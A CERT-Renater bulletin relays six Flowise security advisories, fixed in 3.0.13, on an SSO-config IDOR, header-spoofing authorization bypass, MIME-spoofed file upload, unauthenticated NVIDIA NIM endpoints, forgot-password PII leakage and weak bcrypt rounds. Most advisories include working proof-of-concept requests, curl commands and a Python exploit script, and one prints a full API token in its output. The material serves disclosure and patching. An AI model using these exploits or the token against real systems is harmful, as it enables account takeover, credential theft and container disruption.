Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN274
_____________________________________________________________________

DATE                : 09/03/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running Flowise (npm) versions prior
                                      to 3.0.13.

=====================================================================
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wvhq-wp8g-c7vq
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-j8g8-j7fc-43v6
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cwc3-p92j-g7qm
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jc5m-wrp2-qq38
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x2g5-fvc2-gqvp
_____________________________________________________________________


IDOR leading to Account Takeover and Enterprise Feature Bypass via
SSO Configuration

High
igor-magun-wd published GHSA-cwc3-p92j-g7qm Mar 5, 2026

Package
flowise (npm)

Affected versions
<= 3.0.12

Patched versions
3.0.13


Description

Summary

I have identified a critical Insecure Direct Object Reference (IDOR)
vulnerability combined with a Business Logic Flaw in the PUT
/api/v1/loginmethod endpoint of the Flowise platform.

While the endpoint requires authentication, it fails to validate if
the authenticated user has ownership or administrative rights over
the target organizationId. This allows any low-privileged user
(including "Free" plan users) to:

    Overwrite the SSO configuration of any other organization.
    Enable "Enterprise-only" features (SSO/SAML) without a license.
    Perform Account Takeover by redirecting the authentication flow.

Details

The backend accepts the organizationId parameter from the JSON body
and updates the database record corresponding to that ID. There is
no middleware or logic check to
ensure request.user.organizationId === body.organizationId.


PoC

Prerequisites:

    The attacker creates a standard "Free" account and obtains a valid
JWT token (Cookie/Header).
    The attacker identifies the target organizationId
(e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d).

Step-by-Step Exploitation: The attacker sends the following PUT request
to overwrite the victim's Google SSO configuration.


Request:

PUT /api/v1/loginmethod HTTP/2
Host: cloud.flowiseai.com
Cookie: token=<ATTACKER_JWT_TOKEN>
Content-Type: application/json
Accept: application/json

{
  "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
  "userId": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", 
  "providers": [
    {
      "providerLabel": "Google",
      "providerName": "google",
      "config": {
        "clientID": "ATTACKER_MALICIOUS_CLIENT_ID",
        "clientSecret": "ATTACKER_MALICIOUS_SECRET"
      },
      "status": "enable"
    }
  ]
}

Response: The server responds with 200 OK, confirming the modification
has been applied to the victim's organization context.

{
  "status": "OK",
  "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d"
}


Impact

    Account Takeover: An attacker can replace a victim organization's
legitimate OAuth credentials (e.g., Google Client ID) with their own
malicious application credentials. When victim employees try to log
in via SSO, they are authenticated against the attacker's application,
potentially allowing the attacker to hijack sessions or steal
credentials.
    License Control Bypass: Users on the "Free" tier can illicitly
enable and configure SSO providers (Azure, Okta, etc.), which are
features strictly restricted to the "Enterprise" plan.


Severity
High
8.8/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2026-30823

Weaknesses
Weakness CWE-639
Weakness CWE-862

Credits

    @berkdedekarginoglu berkdedekarginoglu Reporter

_____________________________________________________________________

Flowise Authorization Bypass via Spoofed x-request-from Header
High
igor-magun-wd published GHSA-wvhq-wp8g-c7vq Mar 5, 2026

Package
flowise (npm)

Affected versions
<= 3.0.12

Patched versions
3.0.13


Description

Summary

Flowise trusts any HTTP client that sets the header x-request-from:
internal, allowing an authenticated tenant session to bypass all
/api/v1/** authorization checks. With only a browser cookie, a
low-privilege tenant can invoke internal administration endpoints
(API key management, credential stores, custom function execution,
etc.), effectively escalating privileges.


Details

The global middleware that guards /api/v1 routes lives in
external/Flowise/packages/server/src/index.ts:214. After filtering
out the whitelist, the logic short-circuits on the spoofable
header:

if (isWhitelisted) {
    next();
} else if (req.headers['x-request-from'] === 'internal') {
    verifyToken(req, res, next);
} else {
    const { isValid } = await validateAPIKey(req);
    if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
    … // owner context stitched from API key
}

Because the middle branch blindly calls verifyToken, any tenant
that already has a UI session cookie is treated as an internal
client simply by adding that header. No additional permission
checks are performed before next() executes, so every downstream
router under /api/v1 becomes reachable.


PoC

    Log into Flowise 3.0.8 and capture cookies (e.g.,
curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login).
    Invoke an internal-only endpoint with the spoofed header:

    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -H 'x-request-from: internal' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'

The server returns HTTP 200 and the newly created key object.

    Remove the header and retry:

    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'

This yields {"error":"Unauthorized Access"}, confirming the
header alone controls access.

The same spoof grants access to other privileged routes like
/api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function,
etc.


Impact

This is an authorization bypass / privilege escalation. Any
authenticated tenant (even without API keys or elevated roles)
can execute internal administration APIs solely from the
browser, enabling actions such as minting new API keys,
harvesting stored secrets, and, when combined with other flaws
(e.g., Custom Function RCE), full system compromise. All
self-hosted Flowise 3.0.8 deployments that rely on the default
middleware are affected.


Severity
High
8.7/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID
CVE-2026-30820

Weaknesses
Weakness CWE-863

Credits

    @N3mes1s N3mes1s Reporter


_____________________________________________________________________


Arbitrary File Upload via MIME Spoofing in FlowiseAI/Flowise
High
igor-magun-wd published GHSA-j8g8-j7fc-43v6 Mar 5, 2026

Package
flowise (npm)

Affected versions
< =3.0.12

Patched versions
3.0.13


Description

Vulnerability Description

Vulnerability Overview

    The /api/v1/attachments/:chatflowId/:chatId endpoint is listed in
WHITELIST_URLS, allowing unauthenticated access to the file upload API.
    While the server validates uploads based on the MIME types defined
in chatbotConfig.fullFileUpload.allowedUploadFileTypes, it implicitly
trusts the client-provided Content-Type header (file.mimetype) without
verifying the file's actual content (magic bytes) or extension
(file.originalname).
    Consequently, an attacker can bypass this restriction by spoofing
the Content-Type as a permitted type (e.g., application/pdf) while
uploading malicious scripts or arbitrary files. Once uploaded via
addArrayFilesToStorage, these files persist in backend storage (S3,
GCS, or local disk). This vulnerability serves as a critical entry point
that, when chained with other features like static hosting or file
retrieval, can lead to Stored XSS, malicious file hosting, or Remote
Code Execution (RCE).

Vulnerable Code

    Upload Route Definition

    Flowise/packages/server/src/routes/attachments/index.ts

    Lines 7 to 10 in d17c439

 // CREATE 
 router.post('/:chatflowId/:chatId', getMulterStorage().array('files'), attachmentsController.createAttachment) 
  
 export default router 

// CREATE
router.post('/:chatflowId/:chatId', getMulterStorage().array('files'), attachmentsController.createAttachment)
export default router

Mount /api/v1/attachments to the global router

Flowise/packages/server/src/routes/index.ts

Lines 72 to 77 in d17c439
 const router = express.Router() 
  
 router.use('/ping', pingRouter) 
 router.use('/apikey', apikeyRouter) 
 router.use('/assistants', assistantsRouter) 
 router.use('/attachments', attachmentsRouter) 

const router = express.Router()
router.use('/ping', pingRouter)
router.use('/apikey', apikeyRouter)
router.use('/assistants', assistantsRouter)
router.use('/attachments', attachmentsRouter)

Include /api/v1/attachments in the WHITELIST_URLS list

Flowise/packages/server/src/utils/constants.ts

Lines 6 to 26 in d17c439
 export const WHITELIST_URLS = [ 
     '/api/v1/verify/apikey/', 
     '/api/v1/chatflows/apikey/', 
     '/api/v1/public-chatflows', 
     '/api/v1/public-chatbotConfig', 
     '/api/v1/public-executions', 
     '/api/v1/prediction/', 
     '/api/v1/vector/upsert/', 
     '/api/v1/node-icon/', 
     '/api/v1/components-credentials-icon/', 
     '/api/v1/chatflows-streaming', 
     '/api/v1/chatflows-uploads', 
     '/api/v1/openai-assistants-file/download', 
     '/api/v1/feedback', 
     '/api/v1/leads', 
     '/api/v1/get-upload-file', 
     '/api/v1/ip', 
     '/api/v1/ping', 
     '/api/v1/version', 
     '/api/v1/attachments', 
     '/api/v1/metrics', 

export const WHITELIST_URLS = [
    '/api/v1/verify/apikey/',
    '/api/v1/chatflows/apikey/',
    '/api/v1/public-chatflows',
    '/api/v1/public-chatbotConfig',
    '/api/v1/public-executions',
    '/api/v1/prediction/',
    '/api/v1/vector/upsert/',
    '/api/v1/node-icon/',
    '/api/v1/components-credentials-icon/',
    '/api/v1/chatflows-streaming',
    '/api/v1/chatflows-uploads',
    '/api/v1/openai-assistants-file/download',
    '/api/v1/feedback',
    '/api/v1/leads',
    '/api/v1/get-upload-file',
    '/api/v1/ip',
    '/api/v1/ping',
    '/api/v1/version',
    '/api/v1/attachments',
    '/api/v1/metrics',

Bypass JWT validation if the URL is whitelisted

Flowise/packages/server/src/index.ts

Lines 213 to 228 in d17c439
 const denylistURLs = process.env.DENYLIST_URLS ? process.env.DENYLIST_URLS.split(',') : [] 
 const whitelistURLs = WHITELIST_URLS.filter((url) => !denylistURLs.includes(url)) 
 const URL_CASE_INSENSITIVE_REGEX: RegExp = /\/api\/v1\//i 
 const URL_CASE_SENSITIVE_REGEX: RegExp = /\/api\/v1\// 
  
 await initializeJwtCookieMiddleware(this.app, this.identityManager) 
  
 this.app.use(async (req, res, next) => { 
     // Step 1: Check if the req path contains /api/v1 regardless of case 
     if (URL_CASE_INSENSITIVE_REGEX.test(req.path)) { 
         // Step 2: Check if the req path is casesensitive 
         if (URL_CASE_SENSITIVE_REGEX.test(req.path)) { 
             // Step 3: Check if the req path is in the whitelist 
             const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) 
             if (isWhitelisted) { 
                 next() 

        const denylistURLs = process.env.DENYLIST_URLS ? process.env.DENYLIST_URLS.split(',') : []
        const whitelistURLs = WHITELIST_URLS.filter((url) => !denylistURLs.includes(url))
        const URL_CASE_INSENSITIVE_REGEX: RegExp = /\/api\/v1\//i
        const URL_CASE_SENSITIVE_REGEX: RegExp = /\/api\/v1\//

        await initializeJwtCookieMiddleware(this.app, this.identityManager)

        this.app.use(async (req, res, next) => {
            // Step 1: Check if the req path contains /api/v1 regardless of case
            if (URL_CASE_INSENSITIVE_REGEX.test(req.path)) {
                // Step 2: Check if the req path is casesensitive
                if (URL_CASE_SENSITIVE_REGEX.test(req.path)) {
                    // Step 3: Check if the req path is in the whitelist
                    const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
                    if (isWhitelisted) {
                        next()

Multer Configuration: Saves files without file type validation

Flowise/packages/server/src/utils/index.ts

Lines 1917 to 1960 in d17c439
 export const getUploadPath = (): string => { 
     return process.env.BLOB_STORAGE_PATH 
         ? path.join(process.env.BLOB_STORAGE_PATH, 'uploads') 
         : path.join(getUserHome(), '.flowise', 'uploads') 
 } 
  
 export function generateId() { 
     return uuidv4() 
 } 
  
 export const getMulterStorage = () => { 
     const storageType = process.env.STORAGE_TYPE ? process.env.STORAGE_TYPE : 'local' 
  
     if (storageType === 's3') { 
         const s3Client = getS3Config().s3Client 
         const Bucket = getS3Config().Bucket 
  
         const upload = multer({ 
             storage: multerS3({ 
                 s3: s3Client, 
                 bucket: Bucket, 
                 metadata: function (req, file, cb) { 
                     cb(null, { fieldName: file.fieldname, originalName: file.originalname }) 
                 }, 
                 key: function (req, file, cb) { 
                     cb(null, `${generateId()}`) 
                 } 
             }) 
         }) 
         return upload 
     } else if (storageType === 'gcs') { 
         return multer({ 
             storage: new MulterGoogleCloudStorage({ 
                 projectId: process.env.GOOGLE_CLOUD_STORAGE_PROJ_ID, 
                 bucket: process.env.GOOGLE_CLOUD_STORAGE_BUCKET_NAME, 
                 keyFilename: process.env.GOOGLE_CLOUD_STORAGE_CREDENTIAL, 
                 uniformBucketLevelAccess: Boolean(process.env.GOOGLE_CLOUD_UNIFORM_BUCKET_ACCESS) ?? true, 
                 destination: `uploads/${generateId()}` 
             }) 
         }) 
     } else { 
         return multer({ dest: getUploadPath() }) 
     } 
 } 

export const getUploadPath = (): string => {
    return process.env.BLOB_STORAGE_PATH
        ? path.join(process.env.BLOB_STORAGE_PATH, 'uploads')
        : path.join(getUserHome(), '.flowise', 'uploads')
}

export function generateId() {
    return uuidv4()
}

export const getMulterStorage = () => {
    const storageType = process.env.STORAGE_TYPE ? process.env.STORAGE_TYPE : 'local'

    if (storageType === 's3') {
        const s3Client = getS3Config().s3Client
        const Bucket = getS3Config().Bucket

        const upload = multer({
            storage: multerS3({
                s3: s3Client,
                bucket: Bucket,
                metadata: function (req, file, cb) {
                    cb(null, { fieldName: file.fieldname, originalName: file.originalname })
                },
                key: function (req, file, cb) {
                    cb(null, `${generateId()}`)
                }
            })
        })
        return upload
    } else if (storageType === 'gcs') {
        return multer({
            storage: new MulterGoogleCloudStorage({
                projectId: process.env.GOOGLE_CLOUD_STORAGE_PROJ_ID,
                bucket: process.env.GOOGLE_CLOUD_STORAGE_BUCKET_NAME,
                keyFilename: process.env.GOOGLE_CLOUD_STORAGE_CREDENTIAL,
                uniformBucketLevelAccess: Boolean(process.env.GOOGLE_CLOUD_UNIFORM_BUCKET_ACCESS) ?? true,
                destination: `uploads/${generateId()}`
            })
        })
    } else {
        return multer({ dest: getUploadPath() })
    }
}

Transfers uploaded files to storage without verification

Flowise/packages/server/src/utils/createAttachment.ts

Lines 124 to 158 in d17c439
 const files = (req.files as Express.Multer.File[]) || [] 
 const fileAttachments = [] 
 if (files.length) { 
     const isBase64 = req.body.base64 
     for (const file of files) { 
         if (!allowedFileTypes.length) { 
             throw new InternalFlowiseError( 
                 StatusCodes.BAD_REQUEST, 
                 `File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')}` 
             ) 
         } 
  
         // Validate file type against allowed types 
         if (allowedFileTypes.length > 0 && !allowedFileTypes.includes(file.mimetype)) { 
             throw new InternalFlowiseError( 
                 StatusCodes.BAD_REQUEST, 
                 `File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')}` 
             ) 
         } 
  
         await checkStorage(orgId, subscriptionId, appServer.usageCacheManager) 
  
         const fileBuffer = await getFileFromUpload(file.path ?? file.key) 
         const fileNames: string[] = [] 
         // Address file name with special characters: https://github.com/expressjs/multer/issues/1104 
         file.originalname = Buffer.from(file.originalname, 'latin1').toString('utf8') 
         const { path: storagePath, totalSize } = await addArrayFilesToStorage( 
             file.mimetype, 
             fileBuffer, 
             file.originalname, 
             fileNames, 
             orgId, 
             chatflowid, 
             chatId 
         ) 

    const files = (req.files as Express.Multer.File[]) || []
    const fileAttachments = []
    if (files.length) {
        const isBase64 = req.body.base64
        for (const file of files) {
            if (!allowedFileTypes.length) {
                throw new InternalFlowiseError(
                    StatusCodes.BAD_REQUEST,
                    `File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')}`
                )
            }

            // Validate file type against allowed types
            if (allowedFileTypes.length > 0 && !allowedFileTypes.includes(file.mimetype)) {
                throw new InternalFlowiseError(
                    StatusCodes.BAD_REQUEST,
                    `File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')}`
                )
            }

            await checkStorage(orgId, subscriptionId, appServer.usageCacheManager)

            const fileBuffer = await getFileFromUpload(file.path ?? file.key)
            const fileNames: string[] = []
            // Address file name with special characters: https://github.com/expressjs/multer/issues/1104
            file.originalname = Buffer.from(file.originalname, 'latin1').toString('utf8')
            const { path: storagePath, totalSize } = await addArrayFilesToStorage(
                file.mimetype,
                fileBuffer,
                file.originalname,
                fileNames,
                orgId,
                chatflowid,
                chatId
            )

PoC

PoC Description

    Create a local file named shell.js containing arbitrary JavaScript
code (or a malicious payload).
    Send a multipart/form-data request to the
/api/v1/attachments/891f64a2-a26f-4169-b333-905dc96c200a/:chatId
endpoint without any authentication (login, session, or API keys).
    During the upload, retain the filename as shell.js but spoof the
Content-Type header as application/pdf.
    This exploits the server's reliance solely on the client-provided
file.mimetype, forcing it to process the malicious JS file as an
allowed PDF, thereby confirming unauthenticated arbitrary file
upload.


PoC

curl -X POST \
  "http://localhost:3000/api/v1/attachments/891f64a2-a26f-4169-b333-905dc96c200a/$(uuidgen)" \
  -F "files=@shell.js;type=application/pdf"

image


Impact

1. Root Cause
The vulnerability stems from relying solely on the MIME type without
cross-validating the file extension or actual content. This allows
attackers to upload executable files (e.g., .js, .php) or malicious
scripts (.html) by masquerading them as benign images or documents.

2. Key Attack Scenarios

    Server Compromise (RCE): An attacker uploads a Web Shell and
triggers its execution on the server. Successful exploitation grants
system privileges, allowing unauthorized access to internal data and
full control over the server.
    Client-Side Attack (Stored XSS): An attacker uploads files
containing malicious scripts (e.g., HTML, SVG). When a victim views
the file, the script executes within their browser, leading to session
cookie theft and account takeover.

3. Impact
This vulnerability is rated as High severity. The risk is
particularly critical if the system utilizes shared storage (e.g., S3,
GCS) or static hosting features, as the compromise could spread to
the entire infrastructure and affect other tenants.


Severity
High
8.2/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVE ID
CVE-2026-30821

Weaknesses
Weakness CWE-434

Credits

    @im-soohyun im-soohyun Reporter

_____________________________________________________________________


Missing Authentication on NVIDIA NIM Endpoints
High
igor-magun-wd published GHSA-5f53-522j-j454 Mar 5, 2026

Package
flowise (npm)

Affected versions
<=3.0.12

Patched versions
3.0.13


Description

Missing Authentication on NVIDIA NIM Endpoints

Summary

The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the
global authentication middleware, allowing unauthenticated access to
privileged container management and token generation endpoints.


Vulnerability Details

Field 	Value
CWE 	CWE-306: Missing Authentication for Critical Function
Affected File 	packages/server/src/utils/constants.ts
Affected Line 	Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS)
CVSS 3.1 	8.6 (High)


Root Cause

In packages/server/src/utils/constants.ts, the NVIDIA NIM route is
added to the authentication whitelist:

export const WHITELIST_URLS = [
    // ... other URLs
    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation
    // ...
]

This causes the global auth middleware to skip authentication checks
for all endpoints under /api/v1/nvidia-nim/*. None of the controller
actions in packages/server/src/controllers/nvidia-nim/index.ts
perform their own authentication checks.


Affected Endpoints

Method 	Endpoint 	Risk
GET 	/api/v1/nvidia-nim/get-token 	Leaks valid NVIDIA API token
GET 	/api/v1/nvidia-nim/preload 	Resource consumption
GET 	/api/v1/nvidia-nim/download-installer 	Resource consumption
GET 	/api/v1/nvidia-nim/list-running-containers 	Information disclosure
POST 	/api/v1/nvidia-nim/pull-image 	Arbitrary image pull
POST 	/api/v1/nvidia-nim/start-container 	Arbitrary container start
POST 	/api/v1/nvidia-nim/stop-container 	Denial of Service
POST 	/api/v1/nvidia-nim/get-image 	Information disclosure
POST 	/api/v1/nvidia-nim/get-container 	Information disclosure


Impact

1. NVIDIA API Token Leakage

The /get-token endpoint returns a valid NVIDIA API token without
authentication. This token grants access to NVIDIA's inference API
and can list 170+ LLM models.

Token obtained:

{
  "access_token": "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",
  "token_type": "Bearer",
  "expires_in": 3600
}

Token validation:

curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models

2. Container Runtime Manipulation

On systems with Docker/NIM installed, an unauthenticated
attacker can:

    List running containers (reconnaissance)
    Stop containers (Denial of Service)
    Start containers with arbitrary images
    Pull arbitrary Docker images (resource consumption, potential
malicious images)


Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated

Usage:
  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""

import argparse
import urllib.request
import urllib.error

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--path", required=True, help="NIM endpoint path")
    ap.add_argument("--method", default="GET", choices=["GET", "POST"])
    ap.add_argument("--data", default="", help="Raw request body for POST")
    args = ap.parse_args()

    url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
    body = args.data.encode("utf-8") if args.method == "POST" else None
    req = urllib.request.Request(
        url,
        data=body,
        method=args.method,
        headers={"Content-Type": "application/json"} if body else {},
    )

    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            print(r.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()

screenshot


Exploitation Steps

# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token

# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers

# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
  --method POST --data '{"containerId":"<target_id>"}'

# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
  --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

Evidence

Token retrieval without authentication:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}

Token grants access to NVIDIA API:

$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}

Container endpoints return 500 (not 401) proving auth bypass:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}


References

    CWE-306: Missing Authentication for Critical Function
    OWASP API Security Top 10 - API2:2023 Broken Authentication


Severity
High
7.7/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

CVE ID
CVE-2026-30824

Weaknesses
Weakness CWE-306

Credits

    @tenbbughunters tenbbughunters Reporter

_____________________________________________________________________


PII Disclosure on Unauthenticated Forgot Password Endpoint
Moderate
igor-magun-wd published GHSA-jc5m-wrp2-qq38 Mar 5, 2026

Package
flowise (npm)

Affected versions
<=3.0.12

Patched versions
3.0.13


Description

Summary

The /api/v1/account/forgot-password endpoint returns the full user
object including PII (id, name, email, status, timestamps) in the
response body instead of a generic success message. This exposes
sensitive user information to unauthenticated attackers who only
need to know a valid email address.


Vulnerability Details

Field 	Value
CWE 	CWE-200: Exposure of Sensitive Information to an
Unauthorized Actor
Affected File 	packages/server/src/enterprise/services/account.service.ts (lines 517-545)
Endpoint 	POST /api/v1/account/forgot-password
Authentication 	None required
CVSS 3.1 	3.7 (Low)


Root Cause

In account.service.ts, the forgotPassword method returns the
sanitized user object instead of a simple success acknowledgment:

public async forgotPassword(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)

    data.user = user
    // ... password reset logic ...

    return sanitizeUser(data.user)  // Returns user object with PII
}

The sanitizeUser function only removes sensitive authentication fields:

export function sanitizeUser(user: Partial<User>) {
    delete user.credential    // password hash
    delete user.tempToken     // reset token
    delete user.tokenExpiry

    return user  // Still contains: id, name, email, status, createdDate, updatedDate
}


Impact

An unauthenticated attacker can:

    Harvest PII: Collect user IDs, full names, and account metadata
    Profile users: Determine account creation dates and activity
patterns
    Enumerate accounts: Confirm email existence and gather
associated data
    Enable further attacks: Use harvested data for social
engineering or targeted phishing


Exploitation

curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"victim@example.com"}}'

Evidence

Request:

POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json

{"user":{"email":"vefag54010@naprb.com"}}

Response (201 Created):

{
    "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "name": "Vefag naprb",
    "email": "vefag54010@naprb.com",
    "status": "active",
    "createdDate": "2026-01-17T15:21:59.152Z",
    "updatedDate": "2026-01-17T15:35:06.492Z",
    "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}

screenshot
Exposed Data
Field 	Risk
id 	Internal user UUID - enables targeted attacks
name 	Full name - PII disclosure
email 	Email confirmation
status 	Account state information
createdDate 	User profiling
updatedDate 	Activity tracking
createdBy / updatedBy 	Internal reference leak
Expected Behavior

A secure forgot-password endpoint should return a generic
response regardless of whether the email exists:

{"message": "If this email exists, a password reset link has been sent."}


References

    CWE-200: Exposure of Sensitive Information
    OWASP Authentication Cheat Sheet


Severity
Moderate
6.9/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-200

Credits

    @tenbbughunters tenbbughunters Reporter

_____________________________________________________________________


Insufficient Password Salt Rounds
Moderate
igor-magun-wd published GHSA-x2g5-fvc2-gqvp Mar 5, 2026

Package
flowise (npm)

Affected versions
<=3.0.12

Patched versions
3.0.13


Description

Detection Method: Kolega.dev Deep Code Scan
Attribute 	Value
Severity 	Medium
CWE 	CWE-916 (Use of Password Hash With Insufficient Computational
         Effort)
Location 	packages/server/src/enterprise/utils/encryption.util.ts:5-7
Practical Exploitability 	Medium
Developer Approver 	faizan@kolega.ai


Description

The default bcrypt salt rounds is set to 5, which is below the
recommended minimum for security.

Affected Code

export function getHash(value: string) {
    const salt = bcrypt.genSaltSync(parseInt(process.env.PASSWORD_SALT_HASH_ROUNDS || '5'))
    return bcrypt.hashSync(value, salt)
}

Evidence

Using 5 salt rounds provides 2^5 = 32 iterations, which is far below the
OWASP recommendation of 10 (2^10 = 1024 iterations) for bcrypt. This
makes password hashes vulnerable to brute-force attacks with modern
hardware.


Impact

Faster password cracking - in the event of database compromise, attackers
can crack password hashes significantly faster than with proper salt
rounds, potentially compromising all user accounts.


Recommendation

Increase default PASSWORD_SALT_HASH_ROUNDS to at least 10 (recommended by
OWASP). Consider using 12 for better security-performance balance.
Document that higher values increase login time but improve security.
Notes

The default bcrypt salt rounds is 5 (line 6), which provides only 2^5=32
iterations. OWASP recommends minimum 10 rounds (1024 iterations) for
bcrypt. While configurable via PASSWORD_SALT_HASH_ROUNDS env var, the
default matters because: (1) most deployments use defaults, (2) existing
password hashes at 5 rounds remain vulnerable even if later increased.
With modern GPUs, 5 rounds allows ~300,000 hashes/second vs ~10,000/second
at 10 rounds - a 30x difference in cracking speed. In a database breach
scenario, all user passwords could be cracked significantly faster. The
same weak default is used in resetPassword (account.service.ts:568).
This is a cryptographic weakness with real-world impact on password
security.


Severity
Moderate
4.1/ 10

CVSS v3 base metrics
Attack vector
Local
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

CVE ID
No known CVE

Weaknesses
No CWEs

Credits

    @kolega-ai-dev kolega-ai-dev Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




